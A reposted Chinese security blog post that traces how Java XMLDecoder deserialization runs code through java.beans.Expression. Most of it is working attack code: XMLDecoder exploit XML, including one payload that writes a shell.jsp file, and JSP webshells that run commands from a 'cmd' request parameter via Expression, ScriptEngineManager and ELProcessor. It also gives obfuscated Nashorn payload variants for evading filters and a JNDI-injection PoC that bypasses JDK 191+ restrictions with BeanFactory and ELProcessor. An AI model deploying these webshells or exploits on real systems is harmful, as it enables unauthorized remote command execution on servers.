
XMLDecoder反序列化漏洞底層
參考的文章已經分析的非常詳細了,這里我主要是就是一下最后的執行是怎么樣的,也就是Expression類的使用
import java.beans.Expression;
public class test {
public static void main(String[] args)throws Exception {
Parameter();//有引數
NoParameter();//無引數
}
public static void Parameter() throws Exception{
Object var3 = new ProcessBuilder();
String var4 = "command";
String[] strings = new String[]{"calc"};
Object[] var2 = new Object[]{strings};
Expression var5 = new Expression(var3, var4, var2);
Object value = var5.getValue();//獲得引數的類
String var1 = "start";
Object[] var6 = new Object[]{};
Expression expression = new Expression(value, var1, var6);//執行start方法
expression.getValue();
// 為什么不能執行?因為class.newInstance只能呼叫無參建構式而ProcessBuilder沒有無引數建構式,
// Class<?> aClass = value.getClass();
// Object o = aClass.newInstance();
// Method start = aClass.getMethod("start");
// start.invoke(o);
}
public static void NoParameter(){
String[] strings = new String[]{"cmd.exe","/c","calc"};
Object var3 = new ProcessBuilder(strings);
String var4 = "start";
Object[] var2 = new Object[]{};
Expression var5 = new Expression(var3, var4, var2);
try {
var5.getValue();
} catch (Exception e) {
e.printStackTrace();
}
}
}

并且通過測驗可以發現Expression的使用,給出下面的例子,
public class cmd {
public void Noparameter(){
System.out.println("無引數呼叫....");
}
public void Parameter(Object[] obj){
System.out.println("有引數呼叫....");
}
}
import java.beans.Expression;
public class test1 {
public static void main(String[] args)throws Exception {
Object var3 = new cmd();
String var4 = "Parameter";//Noparameter
Object[] var2 = new Object[]{"233333"};
var2 = new Object[]{var2};
var2 = new Object[]{};
Expression var5 = new Expression(var3, var4, var2);
var5.getValue();
}
}
并且給出了一些exp,
<?xml version="1.0" encoding="UTF-8"?>
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd.exe</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>calc</string>
</void>
</array>
<void method="start">
</void>
</object>
</java>
通過物體編碼繞過
<?xml version="1.0" encoding="UTF-8"?>
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd.exe</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>calc</string>
</void>
</array>
<void method="start"/>
</object>
</java>
<?xml version="1.0" encoding="UTF-8"?>
<java>
<object class="java.io.PrintWriter">
<string>D:\shell.jsp</string>
<void method="println">
<string>
webshell
</string>
</void>
<void method="close"/>
</object>
</java>
想了一下Expression類,底層是通過反射執行的, 那我們能可以制作webshell了

制作WebShell
Expression
package shell.Expression;
import java.beans.Expression;
public class test {
public static void main(String[] args) {
String payload ="calc";
Expression expression = new Expression(Runtime.getRuntime(),"\u0065"+"\u0078"+"\u0065"+"\u0063",new Object[]{payload});
try {
expression.getValue();
} catch (Exception e) {
e.printStackTrace();
}
}
}
上面是java代碼,執行的原理是反射在getValue方法中可以清楚的看到,要制作webshell就需要jsp代碼,
<%@ page import="java.beans.Expression"%>
<%@ page contentType="text/html; charset=UTF-8" language="java" %>
<%
String payload =request.getParameter("cmd");
Expression expression = new Expression(Runtime.getRuntime(),"\u0065"+"\u0078"+"\u0065"+"\u0063",new Object[]{payload});
expression.getValue();
%>
介紹到這里又突然想到了其他運算式類的執行,

ScriptEngineManager
通過ScriptEngineManager這個類可以實作Java跟JS的相互呼叫,雖然Java自己沒有eval函式,但是ScriptEngineManager有eval函式,并且可以直接呼叫Java物件,也就相當于間接實作了Java的eval功能,
package shell.ScriptEngineManager;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineManager;
public class test {
public static void main(String[] args) throws Exception{
String test = "print('hello word!!');";
String payload1 = "java.lang.Runtime.getRuntime().exec(\"calc\")";
String payload2 = "var a=exp();function exp(){var x=new java.lang.ProcessBuilder; x.command(\"calc\"); x.start();};";
String payload3 = "var a=exp();function exp(){java.lang./****/Runtime./***/getRuntime().exec(\"calc\")};";
String payload4 = "\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0052\u0075\u006e\u0074\u0069\u006d\u0065.getRuntime().exec(\"calc\");";
String payload5 = "var a= Java.type(\"java.lang\"+\".Runtime\"); var b =a.getRuntime();b.exec(\"calc\");";
String payload6 = "load(\"nashorn:mozilla_compat.js\");importPackage(java.lang); var x=Runtime.getRuntime(); x.exec(\"calc\");";
//兼容Rhino功能 https://blog.csdn.net/u013292493/article/details/51020057
String payload7 = "var a =JavaImporter(java.lang); with(a){ var b=Runtime.getRuntime().exec(\"calc\");}";
// String payload8 = "var scr = document.createElement(\"script\");scr.src = \"http://127.0.0.1:8082/js.js\";document.body.appendChild(scr);exec();";
eval(payload7);
}
public static void eval(String payload){
payload=payload;
ScriptEngineManager manager = new ScriptEngineManager(null);
ScriptEngine engine = manager.getEngineByName("js");
try {
engine.eval(payload);
} catch (Exception e) {
e.printStackTrace();
}
}
}
然后自己突發奇想,思考能不能遠程加載js代碼?然后執行遠程js代碼里面的exp,參考payload8
function exec(){
var a=exp();function exp(){var x=new java.lang.ProcessBuilder; x.command("calc"); x.start();};
}

執行失敗!百度了一下原因大概是因為java在執行js代碼的時候沒有瀏覽器的內置物件如:document,window等等,
解決方法 大概就是添加組件配置java決議瀏覽器的環境??這樣的話基本上不可能這樣配置了,于是自己就沒有在深入了解了,
java執行js代碼的底層原理
這里自己除錯會很多次中間的具體流程基本上就是一個決議程序,所以只看最后,

其實本質上還是反射,最后的呼叫apply:393, ScriptRuntime (jdk.nashorn.internal.runtime) 的apply方式去執行,
在看一下呼叫堆疊:
apply:393, ScriptRuntime (jdk.nashorn.internal.runtime)
evalImpl:449, NashornScriptEngine (jdk.nashorn.api.scripting)
evalImpl:406, NashornScriptEngine (jdk.nashorn.api.scripting)
evalImpl:402, NashornScriptEngine (jdk.nashorn.api.scripting)
eval:155, NashornScriptEngine (jdk.nashorn.api.scripting)
eval:264, AbstractScriptEngine (javax.script)
eval:24, test (shell.ScriptEngineManager)
main:17, test (shell.ScriptEngineManager)
除錯程序大家可以自己去測驗
而上面的加載遠程js的思路是來自自己除錯的程序,

那webshell.無回顯的
<%@ page import="javax.script.ScriptEngineManager" %>
<%@ page import="javax.script.ScriptEngine" %>
<%
ScriptEngineManager manager = new ScriptEngineManager(null);
ScriptEngine engine = manager.getEngineByName("js");
String payload = request.getParameter("cmd");
engine.eval(payload);
%>
然后不得不說java中還有一個運算式執行的,那就是EL運算式

ELProcessor
運算式語言(Expression Language),或稱EL運算式,簡稱EL,是Java中的一種特殊的通用編程語言,借鑒于JavaScript和XPath,主要作用是在Java Web應用程式嵌入到網頁(如JSP)中,用以訪問頁面的背景關系以及不同作用域中的物件 ,取得物件屬性的值,或執行簡單的運算或判斷操作,EL在得到某個資料時,會自動進行資料型別的轉換,
ELProcessor也有自己的eval函式,并且可以呼叫Java物件執行命令,
package shell.EL;
import javax.el.ELProcessor;
public class test {
public static void main(String[] args) throws Exception {
String payload = "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\"var exp='calc';java.lang.Runtime.getRuntime().exec(exp);\")";
String poc = "''.getClass().forName('javax.script.ScriptEngineManager')" +
".newInstance().getEngineByName('nashorn')" +
".eval(\"s=[3];s[0]='cmd.exe';s[1]='/c';s[2]='calc';java.lang.Runtime.getRuntime().exec(s);\")";
ELeval(payload);
}
public static void ELeval(String payload){
payload=payload;
ELProcessor elProcessor = new ELProcessor();
try {
elProcessor.eval(payload);
} catch (Exception e) {
e.printStackTrace();
}
}
}
我們也可以看看EL運算式的底層原理,
EL運算式的底層原理
我們使用payload進行debug除錯,一直跟著流程走發現最后還是通過反射去執行,

最后在AstValue類中執行getValue方法,從而呼叫payload,之后就會js代碼執行的流程一樣了,
呼叫堆疊:
getValue:159, AstValue (org.apache.el.parser)
getValue:190, ValueExpressionImpl (org.apache.el)
getValue:61, ELProcessor (javax.el)
eval:54, ELProcessor (javax.el)
ELeval:20, test (shell.EL)
main:13, test (shell.EL)
webshell.無回顯的
<%@ page import="javax.el.ELProcessor"%>
<%@ page contentType="text/html; charset=UTF-8" language="java" %>
<%
String cmd =request.getParameter("cmd");
String payload = "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\"var exp='"+cmd+"';java.lang.Runtime.getRuntime().exec(exp);\")";
ELProcessor elProcessor = new ELProcessor();
elProcessor.eval(payload);
%>
介紹到這里,突然想到了jndi注入繞過jdk191+,其中的一種方法就是利用ELProcessor類
這里直接給出poc
Registry registry = LocateRegistry.createRegistry(rmi_port);
// 實體化Reference,指定目標類為javax.el.ELProcessor,工廠類為org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
// 強制將 'x' 屬性的setter 從 'setX' 變為 'eval', 詳細邏輯見 BeanFactory.getObjectInstance 代碼
ref.add(new StringRefAddr("forceString", "KINGX=eval"));
// 利用運算式執行命令
ref.add(new StringRefAddr("KINGX", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd.exe','/c','calc']).start()\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("Exploit", referenceWrapper);
還有一種方法是通過LDAP去繞過,自己寫了一個小工具
總結
通過學習XMLDecoder的底層執行的流程去發現其他運算式執行,而其中的很多底層都是通過java反射技術實作的!
若文章中出現錯誤希望大佬們能夠提出

最后
如果你有想掌握更多更高階的網安技術可以call me【學習】

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/292636.html
標籤:其他
上一篇:2021年8月國產資料庫排行榜:TiDB穩榜首,達夢返前三,Kingbase進十強,各廠商加速布局云生態...
下一篇:網路安全學習的基礎環境搭建
